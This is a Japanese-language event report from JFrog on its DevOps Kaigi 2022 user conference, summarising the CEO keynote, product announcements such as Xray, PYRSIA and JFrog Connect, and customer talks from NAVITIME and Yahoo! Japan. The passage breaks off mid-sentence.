2022年6月17日に、さまざまな業界や企業においてDevOpsを推進するビジネスリーダー、開発者、運用担当者、セキュリティ担当者のためのJFrogユーザーカンファレンス、「DevOps Kaigi 2022」を開催いたしました。すべての企業にとってアプリケーションが企業価値となる現在、DevOps、セキュリティに関する最新情報、お客さま事例、パートナーセッション、JFrogの新製品情報といった、皆さまのビジネスやソフトウェア開発にお役立ていただけるコンテンツをご用意いたしました。ここからはイベントレポートをご覧ください。 オンデマンドサイトでは、各セッションをご覧いただけます。DevOps Kaigi 2022のオンデマンドサイトはこちらから DevOpsの進化: 2022 (DevOps Evolved: 2022) JFrogはDevOpsのパイオニアであり、Artifactoryをバイナリ・リポジトリマネジャーとして開発を始めました。数年前までは開発者たちはJava、C++、.Netなど単一言語で業務を行っていましたが、今ではフルスタックエンジニアとして複数言語を操り、フロントエンドとバックエンドの両方をこなすことが求められています。 この10年でクラウドでのデプロイ化が進み、Kubernetesは市場で標準となった技術を加速させ、ソフトウェア・サプライチェーンのセキュリティについてより深く考えるようになりました。JFrogチームはDevOpsの世界でリポジトリ管理の構築にこの1年間一生懸命取り組んできました。ArtifactoryからDistributionへの道のりの中でデプロイを高速に行うだけでなく、エッジまでの道のりをセキュアにするために、どのように良くしていくかを皆さまと共有したいと思います。と、JFrog CEO & Co-Founder、Shlomi Ben Haim (シュロミ・ベン・ハイム)からセッションがはじまりました。 JFrog 最新情報 JFrogは継続的にアップデートされるバージョンレスのソフトウェアの世界を支えるLiquid Softwareというビジョンを持ち、開発から本番環境まで一元管理できるソフトウェアパッケージ管理システムを提供しています。 このJFrog最新情報セクションでは、JFrog Japan株式会社 シニア DevOps アクセラレーションエンジニア 三宅 剛史より、JFrogの技術を伝統的なサプライチェーンを例にわかりやすく解説していき、JFrogのDevOps製品を理解いただいた上でXrayを併用したセキュアなパッケージ管理(キュレーション)について説明しました。 JFrog swampUP 2022で発表の、ユニバーサルなパッケージ管理テクノロジーとして日本でもご要望が多かった「Swiftのサポート」、パッケージを分散管理する「PYRSIA(ピルシア)」、安全なソフトウェアサプライチェーンを実現するためにJFrogが新たにリリースした「JFrogの新製品、JFrog Connect」についても本セッションにてどうぞご覧ください。 NAVITIMEの経路探索の進化を支える自社開発とDevOps 株式会社ナビタイムジャパン様はさまざまな移動手段を自在に組み合わせ、最短経路および時間を瞬時に表示する経路探索サービス「NAVITIME」を提供されています。NAVITIMEサービスを開始して20年間で技術的な負債が増えリードタイムが長くなり、アクセス数の振り幅に応じたシステム設計やC++に対応したDevOps Artifactoryツールや開発リポジトリマネジャーを必要とされていました。 DevOps Kaigiの本セッションでは、株式会社ナビタイムジャパン取締役副社長 兼 最高技術責任者の菊池 新氏をお招きし、NAVITIMEサービスでこれらの課題をクリアするためにJFrog Platformを採用してから、どのように進化したのか、またその成功体験が今後のシステム連携のニーズにどう影響していくのか、という点について語っていただきました。 Yahoo! Japan が取り組む技術シフトとCI/CDツールの変遷 ヤフー株式会社様では東西に分かれたデータセンターでそれぞれのサービスが稼働し、大量のトラフィックを捌くために前段に独自キャッシュサーバーを置いて運用しています。この構成ではArtifactoryに対して適切なACL(Access Control List)を定義できませんでした。またActive/Standby構成で運用しているため災害時の復旧手段が遅れることや、セキュリティ対策、リソース不足、手戻りによる開発・リリースの遅延という問題を抱えていました。 本セッションでは、ヤフー株式会社 システム統括本部  セキュリティ&デベロッパーPF本部 DPS部 部長の長谷川貴史氏をお招きし、JFrog ArtifactoryのFederated…